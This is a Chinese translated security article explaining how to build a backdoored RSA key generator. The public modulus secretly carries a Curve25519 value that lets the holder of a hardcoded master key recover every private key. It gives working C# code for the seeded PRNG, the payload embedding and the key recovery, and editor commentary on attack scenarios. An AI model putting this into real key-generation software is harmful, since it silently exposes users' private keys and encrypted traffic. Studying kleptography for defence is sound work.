你竟然在公钥中下毒!——如何在RSA公钥中添加后门
原文:http://www.hackdig.com/?01/hack-17893.htm
分享到:
当我知道它是如何运行时,我惊得下巴都掉了。这是一个非常简单的手法,但这篇文章会颠覆你之前对RSA的看法。这并不是一种劫持RSA的方法,但它会为你的想象插上翅膀。
假设你可以修改RSA公钥的生成器,而且你想给别人拿到私钥的机会但不借助因式分解以及其他量子计算机的力量。你会怎么做?
我会用C#、BouncyCastle 以及Chaos.NaCl(这个库实现了Curve25519)。
1)伪随机数生成器(PRNG)
我们需要一个用私密值进行初始化的PRNG。我将会在CTR模式中使用AES。
using System;
using System.ComponentModel;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Security;
namespace RsaBackdoor.Backdoor
{
class SeededGenerator:IRandomGenerator
{
private readonly AesFastEngine _engine = new AesFastEngine();
private readonly byte[] _counter = new byte[16];
private readonly byte[] _buf = new byte[16];
private int bufOffset = 0;
public SeededGenerator(byte[] key)
{
_engine.Init(true, new KeyParameter(key));
MakeBytes();
}
private void MakeBytes()
{
bufOffset = 0;
_engine.ProcessBlock(_counter, 0, _buf, 0);
IncrementCounter();
}
public void IncrementCounter()
{
for (int i = 0; i < _counter.Length; i++)
{
_counter[i]++;
if (_counter[i] != 0)
break;
}
}
public void AddSeedMaterial(byte[] seed)
{
}
public void AddSeedMaterial(long seed)
{
}
public void NextBytes(byte[] bytes)
{
NextBytes(bytes, 0, bytes.Length);
}
public void NextBytes(byte[] bytes, int start, int len)
{
var count = 0;
while (count < len)
{
var amount = Math.Min(_buf.Length - bufOffset, len - count);
Array.Copy(_buf, bufOffset, bytes, start + count, amount);
count += amount;
bufOffset += amount;
if (bufOffset >= _buf.Length)
{
MakeBytes();
}
}
}
}
}
2) 让我们回忆一下强大的Curve25519,也就是任何32位的序列对于私钥来说都是有效的。同时,公钥也是32位。让我们预先生成一下这个主密钥并且将它分配给一个常量:
private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8";
private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR);
对于生成的每对RSA公钥,我们同时生成一对Curve25519随机密钥,然后从这对密钥以及我们的公钥中计算出共享的秘密和私钥。这个私密值是第一步中的PRNG。
PRNG的种子生成:
private void MakeSeedAndPayload(out byte[] seed, out byte[] payload)
{
var rnd = new SecureRandom();
var priv = new byte[32];
rnd.NextBytes(priv);
payload = MontgomeryCurve25519.GetPublicKey(priv);
seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
}
Curve25519的公钥将用于计算这个种子是一个有效负载。我们将试着把它放入RSA公钥。
3)通过PRNG以及我们的种子生成RSA密钥对。
var publicExponent = new BigInteger("10001", 16);
var keygen = new RsaKeyPairGenerator();
keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80));
var pair = keygen.GenerateKeyPair();
可以说基于密钥的RSA总是两个质数p跟q。它们的产出叫做«modulus»,并且是公钥的一部分。在这种情况下,两个2048二进制数字会通过我们的PRNG进行搜索并且从中会搭建一个单独密钥对。
4)现在,用我们的有效负载来代替p*q系数中的一些字节。可以代替最高有效的字节,这样它们就不会被删除。80字节的偏移应该够了。
var paramz = ((RsaPrivateCrtKeyParameters) pair.Private);
var modulus = paramz.Modulus.ToByteArray();
Replace(modulus, payload, 80);
这样,我们拥有了一个新的n' 模数,并且需要重新生成余下的参数,将n' 考虑在内:
5.1) 计算新的q'。我们不知道在目前状况下会出现什么情况,但结果还不至于糟糕。
q' = n' / p
5.2)查找一个新的基于q'的质数。当我们找到它时,最低有效二进制数字将被删除。最高有效二进制数字不会变。这正是我们所需要的。
var p = paramz.P;
var n = new BigInteger(modulus);
var preQ = n.Divide(p);
var q = preQ.NextProbablePrime();
一旦我们有了新的q,我们会再次计算除了p之外的所有密钥对参数。
public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent)
{
if (p.Max(q).Equals(q))
{
var tmp = p;
p = q;
q = tmp;
}
var modulus = p.Multiply(q);
var p1 = p.Subtract(BigInteger.One);
var q1 = q.Subtract(BigInteger.One);
var phi = p1.Multiply(q1);
var privateExponent = publicExponent.ModInverse(phi);
var dP = privateExponent.Remainder(p1);
var dQ = privateExponent.Remainder(q1);
var qInv = q.ModInverse(p);
var priv = new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);
return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv);
}
结果,我们得到了一个有效的密钥对,这个密钥对的公钥中包含我们的有效负载——即如何获取种子以及私钥本身的信息。
我们可以提取有效负载:
public byte[] ExtractPayload(RsaKeyParameters pub)
{
var modulus = pub.Modulus.ToByteArray();
var payload = new byte[32];
Array.Copy(modulus, 80, payload, 0, 32);
return payload;
}
计算种子并将相同的流程再重复一次以便得到这个私钥:
public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload)
{
var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
return BuildKey(seed, payload);
}
这样,通过拥有一个Curve25519的私钥,只有我们能够获取任何被装后门的RSA的一个私钥。
这能用在什么地方?任何地方!你将永远无法证明银行颁发给你的密钥对没有此类标记。想要证明是不可能的!所以,你可以自己生成密钥。因此,如果可能的话,要停止使用RSA。
感谢https://gist.github.com/ryancdotorg提供的原始文件https://gist.github.com/ryancdotorg/18235723e926be0afbdd
小编解读:
作者没有指出这种攻击的详细攻击手段。这种攻击是生成看上去完全随机的RSA密钥对。但是公钥中存在信息可以令攻击者计算出私钥。存在两种攻击模式:
1. 如果你自己使用离线软件生成RSA密钥对,程序产生看上去是随机的密钥对。你相信一个离线软件是不会泄漏你的私钥,因此你公布你的公钥来给其他人用来验证你的签名。攻击者就可以根据你公开的公钥算出私钥。他们就可以用这个私钥做任何事。
2. 假如说NSA要求SSL证书提供商在key生成算法中加入后门。这个是很容易的,不需要跟NSA有任何联系。NSA只需“看一眼”公钥证书就能计算出私钥证书。所有通过SSL加密的通讯在攻击者看来就是明文传输。
这种攻击攻击早在非对称算法初期就被发现。不只是RSA存在这个问题。所有算法都可以留后门。
本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://kukuruku.co/hub/infosec/backdoor-in-a-public-rsa-key
你竟然在公钥中下毒!——如何在RSA公钥中添加后门的更多相关文章
- 如何在VUE项目中添加ESLint
如何在VUE项目中添加ESLint 1. 首先在项目的根目录下 新建 .eslintrc.js文件,其配置规则可以如下:(自己小整理了一份),所有的代码如下: // https://eslint.or ...
- 如何在Android Studio中添加注释模板信息?
如何在Android Studio中添加注释模板信息? 在开发程序的时候,我们一般都会给文件自动添加上一些关于文件的注释信息,比如开发者的名字,开发的时间,开发者的联系方式等等.那么在android ...
- 文章翻译:ABP如何在EF core中添加数据过滤器
原文地址:https://aspnetboilerplate.com/Pages/Documents/Articles%5CHow-To%5Cadd-custom-data-filter-ef-cor ...
- 如何在select下拉列表中添加复选框?
近来在给一个公司做考试系统的项目,遇到的问题不少,但其中的几个让我对表单的使用颇为感兴趣,前端程序员都知道,下拉列表有select标签,复选框有checkbox,但是两者合在一起却少有人去研究,当时接 ...
- 如何在RCP程序中添加一个banner栏
前言:这段时间还算比较空闲,我准备把过去做过的有些形形色色,甚至有些奇怪的研究总结一下,也许刚好有人用的着也不一定,不枉为之抓耳挠腮的时光和浪费的电力.以前有个客户提出要在RCP程序中添加一个bann ...
- 如何在Android Studio中添加RecyclerView-v7支持包
1.打开SDK Manager,在Extras树下找到Android Support Library,下载好支持包.RecyclerView在v7-21版本就出来了.我这里不用更新了,说明是最新的,怎 ...
- [译]如何在Unity编辑器中添加你自己的工具
在这篇教程中你会学习如何扩展你的Unity3D编辑器,以便在你的项目中更好的使用它.你将会学习如何绘制你自己的gizmo,用代码来实现创建和删除物体,创建编辑器窗口,使用组件,并且允许用户撤销他们所作 ...
- 如何在Sublime Text中添加代码片段
我们在编写代码的时候,总会遇到一些需要反复使用的代码片段.这时候就需要反复的复制和黏贴,大大影响效率.我们利用Sublime Text的snippet(代码片段)功能,就能很好的解决这一问题.通俗的讲 ...
- 如何在web项目中添加javamelody monitoring 监控。
1.在工程的maven pom中添加依赖javamelody-core <!-- monitoring监控 --><!-- https://mvnrepository.com/art ...
随机推荐
- Android Studio 创建/打开项目时一直处于Building“project name”Gradle project info 的解决
最近发现新版的AS,IDEA毛病不断,而且gradle的更新又给墙了,无奈啊! 进入类似如下的目录,发现如果没有对应的gradle解压文件,则在gradle官网下载完整压缩包,放入类似55xxxx串号 ...
- Chapter 8(查找)
1.二分查找和插值查找 //************************Search.h*********************************** #ifndef SEARCH_H # ...
- python3.6爬虫总结-01
1. HTTP 简介 HTTP常见状态码 200/OK: 请求成功 201/Created: 请求已被实现,且一个新资源已根据请求被建立,URI跟随Location头信息返回. 202/Accepte ...
- 项目经验总结-first
1. org.apache.commons.lang中StringUtils判空使用经验之谈 StringUtils.isEmpty(String str) 判断字符串str是否为空串且是否长度为0, ...
- JVM 体系结构介绍
JVM是Java的一大利器.它可以屏蔽各个计算机平台相关软件和硬件之间的差异.把平台相关的耦合统一工作交由JVM的实现者. JVM(Java 虚拟机),它通过模拟一个计算机来达到一个计算机所拥有的计算 ...
- AutoLayout中使用UIScrollView
UIScrollView 在 Auto Layout 是一个很特殊的 view,对于 UIScrollView 的 subview 来说,它的 leading/trailing/top/bottom ...
- 浅谈splay(点的操作)
浅谈splay(点的操作) 一.基本概念 splay本质:二叉查找树 特点:结点x的左子树权值都小于x的权值,右子树权值都大于x的权值 维护信息: 整棵树:root 当前根节点 sz书上所有结点编号 ...
- Django 2.0.1 官方文档翻译: 如何安装 django (Page 17)
如何安装 django(Page 17) 这一部分可以让你将 Django 运行起来. 安装 Python 作为 python 的一个 web 框架,Django 依赖 Python.Python 的 ...
- JavaScript 数组元素排序
var sortArray = new Array(3,6,8888,66); // 元素必须是数字 sortArray.sort(function(a,b){return a-b}); // a-b ...
- python核心编程笔记——Chapter2
对于.py文件,任何一个空的式子都不会有什么输出,如下: #!/usr/bin/env python #-*-coding=utf-8-*- #无任何效果,空语句 1 + 2 * 4 对于i++,++ ...